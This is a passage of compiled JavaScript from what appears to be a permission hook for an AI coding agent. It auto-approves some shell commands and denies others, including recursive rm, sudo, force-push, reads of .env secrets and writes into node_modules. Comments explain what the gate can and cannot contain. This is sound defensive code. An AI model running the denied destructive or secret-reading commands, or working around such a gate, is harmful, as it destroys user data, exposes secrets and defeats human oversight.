the leading \"+\" (force) -- callers reject that\n* separately -- and any `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n const colon = spec.lastIndexOf(\":\");\n return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Structural safety check shared by `isGitSafePush` and\n* `isGitPushWithoutExplicitRefspec`. Every condition must hold:\n*\n* 1. No global dangerous flag (config/exec injection) or repo-redirect flag.\n* 2. No bulk/tag/delete flag (GIT_PUSH_UNSAFE_FLAGS), no --repo /\n* --receive-pack / --exec (GIT_PUSH_DANGEROUS_FLAGS), and no -o /\n* --push-option (GIT_PUSH_VALUE_FLAGS) -- these redirect the destination,\n* the remote-side helper, or (for -o) the positional parse itself\n* independently of the remote/refspec parsing below, so they must be\n* rejected up front.\n* 3. No refspec begins with \"+\" -- a force-push the `--force` deny rule misses.\n* 4. Every refspec's *destination* is a non-protected branch, doesn't have\n* an empty source (\":branch\", the unflagged spelling of --delete/-d),\n* and isn't under refs/tags/ (the unflagged spelling of --tags). A\n* current-branch check alone would happily approve `git push origin\n* HEAD:main`.\n* 5. The remote, when named, is a configured remote -- never a URL or path, so\n* the repo cannot be pushed to an arbitrary host.\n* 6. The current branch is known and not protected.\n*\n* Deliberately does NOT require a refspec to be present -- an empty refspec\n* list (bare `git push` / `git push origin`) is structurally fine by these\n* six rules, it's just *ambiguous*: git resolves the actual destination from\n* push.default / branch.<x>.merge, config this hook does not (and, as of the\n* .git/ write deny rule, no longer needs to) trust. Callers decide what to do\n* with that ambiguity -- `isGitSafePush` requires refspecs.length > 0;\n* `isGitPushWithoutExplicitRefspec` requires the opposite, so the `git-write`\n* deny rule can route the ambiguous case to passthrough instead of a hard deny.\n*\n* Returns the parsed refspec list on success, or `null` on any failure.\n*/\nfunction gitPushStructuralRefspecs(tokens, ctx) {\n if (getGitSubcommand(tokens) !== \"push\") return null;\n const pushIdx = tokens.indexOf(\"push\");\n for (const t of tokens.slice(1, pushIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return null;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return null;\n }\n const after = tokens.slice(pushIdx + 1);\n if (after.some((t) => GIT_PUSH_UNSAFE_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAG_PREFIXES.some((p) => t.startsWith(p)) || GIT_PUSH_VALUE_FLAGS.has(t) || GIT_PUSH_VALUE_FLAG_PREFIXES.some((p) => t.startsWith(p)))) return null;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return null;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n if (protectedSet.has(current)) return null;\n const positional = after.filter((t) => !t.startsWith(\"-\"));\n const maybeRemote = positional[0];\n const refspecs = positional.slice(1);\n if (maybeRemote !== void 0 && !getRemotes(ctx.cwd).has(maybeRemote)) return null;\n for (const spec of refspecs) {\n if (spec.startsWith(\"+\")) return null;\n if (spec.startsWith(\":\")) return null;\n const dst = refspecDestination(spec);\n if (protectedSet.has(dst)) return null;\n if (dst.startsWith(\"refs/tags/\")) return null;\n }\n return refspecs;\n}\n/**\n* True when `git push` is safe to auto-approve: structurally safe (see\n* `gitPushStructuralRefspecs`) AND carries at least one explicit refspec\n* positional argument. Without one -- bare `git push`, or `git push <remote>`\n* with no refspec -- the destination comes from push.default /\n* branch.<x>.merge, which this rule does not resolve or trust; see\n* `isGitPushWithoutExplicitRefspec` for that case.\n*\n* `--force-with-lease` is deliberately permitted: it is the alternative the\n* `git-force-push` deny rule already points users at, and it is routine after a\n* rebase. `--force`/`-f` remain denied by that rule -- even when\n* `--force-with-lease` also appears; the lease does not downgrade an\n* unconditional force (see `isGitForcePush`).\n*\n* The \"cannot push to an arbitrary host\" guarantee in condition 5 holds only\n* because writes into .git/ (which is where `remote.<name>.url` lives) are\n* denied at the file-tool and path-argument layers (`git-dir-write` in\n* file-rules.ts, the `targetsGitDir` check in `arePathArgsSafe`) -- this\n* function only ever reads `getRemotes()`, it does not defend the state\n* `getRemotes()` reads from. An agent with un-gated filesystem write access\n* outside this hook (e.g. a tool this hook doesn't mediate) is not\n* containable by any of this.\n*/\nfunction isGitSafePush(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length > 0;\n}\n/**\n* True when `git push` is otherwise structurally safe (see\n* `gitPushStructuralRefspecs`) but carries no explicit refspec -- the\n* ambiguous case `isGitSafePush` rejects. Used only to keep the `git-write`\n* deny rule from firing for this shape, so it falls through to passthrough\n* (normal human review) instead of a hard deny -- the push isn't known-unsafe,\n* it's merely unresolved.\n*\n* A push that fails `gitPushStructuralRefspecs` for an actual reason\n* (protected branch, dangerous flag, unconfigured remote, ...) returns false\n* here too, so the `git-write` deny still fires for those.\n*/\nfunction isGitPushWithoutExplicitRefspec(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length === 0;\n}\n/** `git tag` read-only flags taking no argument. */\nconst GIT_TAG_READ_FLAGS_NOARG = /* @__PURE__ */ new Set([\n \"-l\",\n \"--list\",\n \"-i\",\n \"--ignore-case\",\n \"--column\",\n \"--omit-empty\"\n]);\n/** `git tag` read-only flags taking one argument, as `--flag value` or `--flag=value`. */\nconst GIT_TAG_READ_FLAGS_VALUE = /* @__PURE__ */ new Set([\n \"--contains\",\n \"--no-contains\",\n \"--points-at\",\n \"--merged\",\n \"--no-merged\",\n \"--sort\",\n \"--format\"\n]);\n/**\n* `git tag` in a listing spelling. A positional argument is a tag name (a\n* write) unless a list flag is present, in which case it is a match pattern.\n* Bare `git tag` has no positional at all and lists.\n*\n* `-n<num>` here means \"print this many annotation lines\" -- on `clean` the\n* same letter is the dry run, which is why the two subcommands do not share a\n* flag table.\n*/\nfunction isGitTagListing(after) {\n let hasListFlag = false;\n let positionals = 0;\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (!t.startsWith(\"-\")) {\n positionals++;\n continue;\n }\n if (t === \"-l\" || t === \"--list\") {\n hasListFlag = true;\n continue;\n }\n if (GIT_TAG_READ_FLAGS_NOARG.has(t)) continue;\n if (/^-n\\d*$/.test(t)) continue;\n const eq = t.indexOf(\"=\");\n if (eq > 0 && GIT_TAG_READ_FLAGS_VALUE.has(t.slice(0, eq))) continue;\n if (GIT_TAG_READ_FLAGS_VALUE.has(t)) {\n i++;\n continue;\n }\n return false;\n }\n return positionals === 0 || hasListFlag;\n}\n/**\n* `git clean` in a dry run. Requires `-f` to be absent rather than deciding\n* which flag wins when both are given -- that precedence is a git-version\n* behavior this hook would otherwise have to pin.\n*/\nfunction isGitCleanDryRun(after) {\n let dryRun = false;\n for (const t of after) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (t === \"--force\") return false;\n if (t === \"--dry-run\") dryRun = true;\n continue;\n }\n if (t.slice(1).includes(\"f\")) return false;\n if (t.slice(1).includes(\"n\")) dryRun = true;\n }\n return dryRun;\n}\n/**\n* Read-only spellings of subcommands whose writes are correctly denied. The\n* deny keys on the verb, so without this `git tag -l`, `git clean -n` and\n* `git <sub> --help` inherit the tier of `git tag v1.2.3`.\n*\n* An allowlist, not a denylist: an unrecognized flag returns false and keeps\n* today's deny, so a spelling missed here costs a prompt rather than an\n* unintended write.\n*/\nfunction isGitReadOnlyForm(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (after[0] === \"--help\") return true;\n if (sub === \"tag\") return isGitTagListing(after);\n if (sub === \"clean\") return isGitCleanDryRun(after);\n return false;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n \"install\",\n \"i\",\n \"add\",\n \"remove\",\n \"rm\",\n \"uninstall\",\n \"un\",\n \"update\",\n \"up\",\n \"upgrade\",\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"audit\",\n \"licenses\",\n \"init\",\n \"create\",\n \"link\",\n \"unlink\",\n \"pack\",\n \"publish\",\n \"config\",\n \"set\",\n \"get\",\n \"store\",\n \"cache\",\n \"rebuild\",\n \"rb\",\n \"prune\",\n \"dedupe\",\n \"dlx\",\n \"exec\",\n \"run\",\n \"patch\",\n \"patch-commit\",\n \"recursive\",\n \"-r\"\n]);\n/** Read-only pnpm commands that are always safe */\nconst PNPM_SAFE_BUILTINS = /* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\"\n]);\nfunction isPnpmSafe(tokens) {\n const subTokens = tokens.slice(1);\n let subcommand;\n for (const t of subTokens) {\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n subcommand = t;\n break;\n }\n if (!subcommand) return false;\n if (PNPM_SAFE_BUILTINS.has(subcommand)) return true;\n if (subcommand === \"install\" || subcommand === \"i\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).every((t) => t.startsWith(\"-\"));\n if (subcommand === \"store\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).find((t) => !t.startsWith(\"-\")) === \"status\";\n return false;\n}\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n \"view\",\n \"info\",\n \"show\"\n]);\nfunction isNpmReadOp(tokens) {\n const sub = tokens[1];\n return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n const sub = tokens[1];\n const BASE = \"This project uses pnpm.\";\n if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n }\n if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n if (sub === \"exec\") return `${BASE} Use \\`pnpm exec <cmd>\\` instead of npm.`;\n if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n \"cp\",\n \"mv\",\n \"rsync\",\n \"install\",\n \"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` -- an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n for (const [i, t] of rest.entries()) {\n if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n }\n return null;\n}\n/**\n* Destination paths named by shell redirects (`> f`, `>> f`, `2> f`, `>f`).\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless -- a bogus \"destination\"\n* like `&1` from `2>&1` simply doesn't resolve into node_modules.\n*/\nfunction redirectDestinations(tokens) {\n const dests = [];\n for (const [i, t] of tokens.entries()) {\n if (/^(?:\\d*|&)>{1,2}$/.test(t)) {\n const next = tokens[i + 1];\n if (next !== void 0) dests.push(next);\n continue;\n }\n const attached = /^(?:\\d*|&)>{1,2}(.+)$/.exec(t);\n if (attached?.[1] !== void 0) dests.push(attached[1]);\n }\n return dests;\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n const cmd = path.basename(tokens[0] ?? \"\");\n const rest = tokens.slice(1);\n const dests = redirectDestinations(tokens);\n if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n else if (cmd === \"sed\") {\n if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n } else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n else if (LAST_POSITIONAL_DEST.has(cmd)) {\n if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n const targetDir = explicitTargetDirectory(rest);\n if (targetDir !== null) dests.push(targetDir);\n else {\n const last = rest.findLast((t) => !t.startsWith(\"-\"));\n if (last !== void 0) dests.push(last);\n }\n }\n return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine -- and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a passthrough would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction arePathArgsSafe(tokens, ctx) {\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n if (path.basename(t).startsWith(\".\")) return false;\n if (t.startsWith(\"~/\") || t === \"~\") return false;\n if (targetsGitDir(t, ctx.cwd)) return false;\n if (!isWithin(ctx.cwd, resolveIn(ctx.cwd, t))) return false;\n }\n return true;\n}\nconst FIND_ALWAYS_DANGEROUS = /* @__PURE__ */ new Set([\n \"-ok\",\n \"-okdir\",\n \"-delete\",\n \"-fprint\",\n \"-fprint0\",\n \"-fprintf\",\n \"-fls\"\n]);\nconst FIND_EXEC_SAFE_COMMANDS = /* @__PURE__ */ new Set([\n \"cat\",\n \"head\",\n \"tail\",\n \"grep\",\n \"egrep\",\n \"fgrep\",\n \"ls\",\n \"wc\",\n \"file\",\n \"stat\",\n \"basename\",\n \"dirname\",\n \"realpath\",\n \"readlink\",\n \"sha256sum\",\n \"sha1sum\",\n \"md5sum\",\n \"echo\"\n]);\n/**\n* Extracts the command name from a `-exec` or `-execdir` block.\n* Returns the basename of the first token after `-exec`/`-execdir`,\n* or undefined if the block is malformed.\n*/\nfunction findExecCommand(tokens, startIdx) {\n const cmdToken = tokens[startIdx + 1];\n if (!cmdToken || cmdToken === \"{}\" || cmdToken === \";\" || cmdToken === \"+\") return void 0;\n return path.basename(cmdToken);\n}\nfunction isFindSafe(tokens) {\n for (let i = 0; i < tokens.length; i++) {\n const t = tokens[i];\n if (t === void 0) continue;\n if (FIND_ALWAYS_DANGEROUS.has(t)) return false;\n if (t === \"-exec\" || t === \"-execdir\") {\n const cmd = findExecCommand(tokens, i);\n if (!cmd || !FIND_EXEC_SAFE_COMMANDS.has(cmd)) return false;\n }\n }\n return true;\n}\nfunction isSortSafe(tokens) {\n return !tokens.includes(\"-o\") && !tokens.some((t) => t.startsWith(\"--output\"));\n}\nfunction isRmRecursive(tokens) {\n const rmIdx = tokens.findIndex((t) => path.basename(t) === \"rm\");\n if (rmIdx === -1) return false;\n const afterRm = tokens.slice(rmIdx + 1);\n const shortFlags = afterRm.filter((t) => t.startsWith(\"-\") && !t.startsWith(\"--\"));\n const longFlags = afterRm.filter((t) => t.startsWith(\"--\"));\n const hasRecursiveShort = shortFlags.some((f) => /[rR]/.test(f));\n const hasRecursiveLong = longFlags.includes(\"--recursive\");\n return hasRecursiveShort || hasRecursiveLong;\n}\nfunction isChmod777(tokens) {\n return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n const pushIdx = tokens.indexOf(\"push\");\n if (pushIdx === -1) return false;\n return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\nfunction isGitResetHardOnMain(tokens) {\n if (!(tokens.includes(\"reset\") && tokens.includes(\"--hard\"))) return false;\n if (tokens.some((t) => t === \"main\" || t === \"master\")) return true;\n const positionalArgs = tokens.filter((t) => t !== \"git\" && t !== \"reset\" && !t.startsWith(\"-\"));\n return positionalArgs.length === 0 || positionalArgs.includes(\"HEAD\");\n}\n/** bst subcommands that are safe to auto-approve (read-only or local-only). */\nconst BST_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n \"checks:run\",\n \"lint:types\",\n \"lint:report\",\n \"hooks:audit\",\n \"hooks:sync\",\n \"docker:build\",\n \"docker:check\",\n \"repo:sync\",\n \"coverage:check\",\n \"coverage:summary\",\n \"coverage:status\",\n \"health:check\",\n \"health:summary\",\n \"health:status\",\n \"ascii:check\",\n \"docs:check\",\n \"docs:delink\",\n \"docs:relocate\",\n \"docs:retire\",\n \"pr:create\",\n \"pr:update\",\n \"pr:checks\",\n \"pr:list\",\n \"issue:view\",\n \"issue:list\",\n \"issue:download\"\n]);\n/**\n* Flags that disqualify an otherwise-safe bst subcommand from auto-approval.\n*\n* `issue:download` is a remote read whose local write is confined to --out, sanitized\n* to a basename, and never overwrites. `--force` is exactly the power to overwrite an\n* existing local file with remote-controlled bytes, so it prompts.\n*\n* `pr:create`/`pr:update` are safe because an update PATCHes only the fields it was given and\n* refuses to drop a closing keyword the PR's body already carries. `--allow-unlink` is the one\n* flag that turns that refusal off, and what it permits -- an issue silently staying open after\n* its PR merges -- is the exact failure this whole command pair was split apart to prevent, and\n* one no PR review catches (the diff looks fine; the link is just gone). A guard an agent can\n* step over unattended is not a guard, so passing it prompts.\n*\n* Matching is deliberately conservative: any occurrence of the flag token anywhere in\n* the command (as a bare flag, `--flag=value`, after a `--` separator, or even as the\n* value of another flag) disqualifies. A flag that *might* be present is treated the\n* same as one that definitely is -- fail closed rather than try to model citty's\n* argument parsing (positional vs. flag-value) here.\n*/\nconst BST_UNSAFE_FLAGS = {\n \"issue:download\": [\"--force\"],\n \"pr:create\": [\"--allow-unlink\"],\n \"pr:update\": [\"--allow-unlink\"]\n};\nfunction hasDisqualifyingFlag(sub, tokens) {\n const flags = BST_UNSAFE_FLAGS[sub];\n if (!flags) return false;\n return tokens.some((token) => flags.some((flag) => token === flag || token.startsWith(`${flag}=`)));\n}\n/**\n* Safe under `bst-agent` only. Both are read-only, and both were safe under `bst` before the\n* agent moved to its own package -- transcripts and repair candidates only exist where the\n* agent runs, so the published CLI has no such command to classify.\n*\n* `agent:start` is deliberately absent: it spawns containers and holds two credentials, so it\n* prompts. `bst-agent` is a workspace-linked bin of a private package, the same trust shape as\n* `bst` (a name pnpm resolves, not a filesystem path an agent can manufacture), so it inherits\n* `BST_SAFE_SUBCOMMANDS` and `BST_UNSAFE_FLAGS` unchanged.\n*/\nconst BST_AGENT_ONLY_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\"agent:repair-candidates\", \"agent:transcript\"]);\nfunction isBstSafe(tokens, extraSafe) {\n const sub = tokens[1];\n if (!sub) return false;\n if (!BST_SAFE_SUBCOMMANDS.has(sub) && !extraSafe?.has(sub)) return false;\n return !hasDisqualifyingFlag(sub, tokens);\n}\n/** True when `token` resolves to a `.md` file inside the project's `docs/` directory. */\nfunction isDocsMarkdownPath(token, ctx) {\n if (token.startsWith(\"~\")) return false;\n if (!token.endsWith(\".md\")) return false;\n return isWithin(resolveIn(ctx.cwd, \"docs\"), resolveIn(ctx.cwd, token));\n}\n/** True when a plain `mv` only moves `.md` files within `docs/`. */\nfunction isMvDocsSafe(tokens, ctx) {\n const paths = [];\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n paths.push(t);\n }\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n}\n/** Short sed flags that take no argument and may be bundled (e.g. `-ne`). */\nconst SED_NOARG_SHORT_CHARS = /* @__PURE__ */ new Set([\n \"n\",\n \"E\",\n \"r\",\n \"s\",\n \"u\",\n \"z\"\n]);\n/** Long sed flags that take no argument (an optional `=value` is still self-contained). */\nconst SED_KNOWN_LONG_NOARG = /* @__PURE__ */ new Set([\n \"--quiet\",\n \"--silent\",\n \"--debug\",\n \"--follow-symlinks\",\n \"--in-place\",\n \"--posix\",\n \"--regexp-extended\",\n \"--separate\",\n \"--sandbox\",\n \"--unbuffered\",\n \"--null-data\",\n \"--help\",\n \"--version\"\n]);\n/**\n* True when `sed` targets only `.md` files under `docs/`.\n*\n* Parses sed's argument grammar enough to tell the script token from file\n* tokens: when neither `-e` nor `-f` is present the first positional is the\n* script, otherwise every positional is a file. Unknown or ambiguous flags\n* make the check bail (-> passthrough) rather than guess.\n*/\nfunction isSedDocsSafe(tokens, ctx) {\n let sawScriptOption = false;\n let skipNext = false;\n const positionals = [];\n for (const t of tokens.slice(1)) {\n if (skipNext) {\n skipNext = false;\n continue;\n }\n if (t === \"-\" || !t.startsWith(\"-\")) {\n positionals.push(t);\n continue;\n }\n if (t.startsWith(\"--\")) {\n const eq = t.indexOf(\"=\");\n const base = eq === -1 ? t : t.slice(0, eq);\n if (base === \"--expression\" || base === \"--file\") {\n sawScriptOption = true;\n if (eq === -1) skipNext = true;\n continue;\n }\n if (base === \"--line-length\") {\n if (eq === -1) skipNext = true;\n continue;\n }\n if (SED_KNOWN_LONG_NOARG.has(base)) continue;\n return false;\n }\n const body = t.slice(1);\n for (let c = 0; c < body.length; c++) {\n const ch = body[c];\n if (ch === \"i\") break;\n if (ch === \"e\" || ch === \"f\") {\n sawScriptOption = true;\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (ch === \"l\") {\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (!SED_NOARG_SHORT_CHARS.has(ch)) return false;\n }\n }\n const files = sawScriptOption ? positionals : positionals.slice(1);\n return files.length > 0 && files.every((f) => isDocsMarkdownPath(f, ctx));\n}\nconst denyRules = [\n {\n name: \"rm-recursive\",\n match: /^rm$/,\n action: \"deny\",\n when: (tokens) => isRmRecursive(tokens),\n reason: \"Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\"\n },\n {\n name: \"sudo\",\n match: /^sudo$/,\n action: \"deny\",\n reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n },\n {\n name: \"git-force-push\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitForcePush(tokens),\n reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n },\n {\n name: \"git-reset-hard\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitResetHardOnMain(tokens) && !isGitFeatureBranchWrite(tokens, ctx),\n reason: \"Don't `reset --hard` on main. Create a branch first.\"\n },\n {\n name: \"git-discard-changes\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitDiscardChanges(tokens),\n reason: \"`-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\"\n },\n {\n name: \"git-bare-checkout\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitBareCheckout(tokens) && !isGitCheckoutPathRestore(tokens),\n reason: \"Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\"\n },\n {\n name: \"git-protected-branch-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchWrite(tokens, ctx),\n reason: \"Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\"\n },\n {\n name: \"git-protected-branch-force-create\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchForceCreate(tokens, ctx),\n reason: \"Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\"\n },\n {\n name: \"git-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitWriteOp(tokens) && !isGitSafeWriteOp(tokens, ctx) && !isGitFeatureBranchWrite(tokens, ctx) && !isGitSafePush(tokens, ctx) && !isGitPushWithoutExplicitRefspec(tokens, ctx) && !isGitUnrecognizedBranchFlag(tokens) && !isGitWorktreeMoveOrRemove(tokens) && !isGitCheckoutPathRestore(tokens) && !isGitReadOnlyForm(tokens),\n reason: \"This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\"\n },\n {\n name: \"chmod-777\",\n match: /^chmod$/,\n action: \"deny\",\n when: (tokens) => isChmod777(tokens),\n reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n },\n {\n name: \"node-modules-write\",\n match: /./,\n action: \"deny\",\n when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n reason: NODE_MODULES_WRITE_REASON\n },\n {\n name: \"env-file-read\",\n match: /^(cat|head|tail|less|more|grep)$/,\n action: \"deny\",\n when: (tokens) => tokensTargetEnvFile(tokens),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"npx-redirect\",\n match: /^npx$/,\n action: \"deny\",\n reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n }\n];\nconst allowRules = [\n {\n name: \"vitest\",\n match: /^vitest$/,\n action: \"allow\"\n },\n {\n name: \"jest\",\n match: /^jest$/,\n action: \"allow\"\n },\n {\n name: \"tsc\",\n match: /^tsc$/,\n action: \"allow\"\n },\n {\n name: \"tsdown\",\n match: /^tsdown$/,\n action: \"allow\"\n },\n {\n name: \"bst\",\n match: /^bst$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens)\n },\n {\n name: \"bst-agent\",\n match: /^bst-agent$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens, 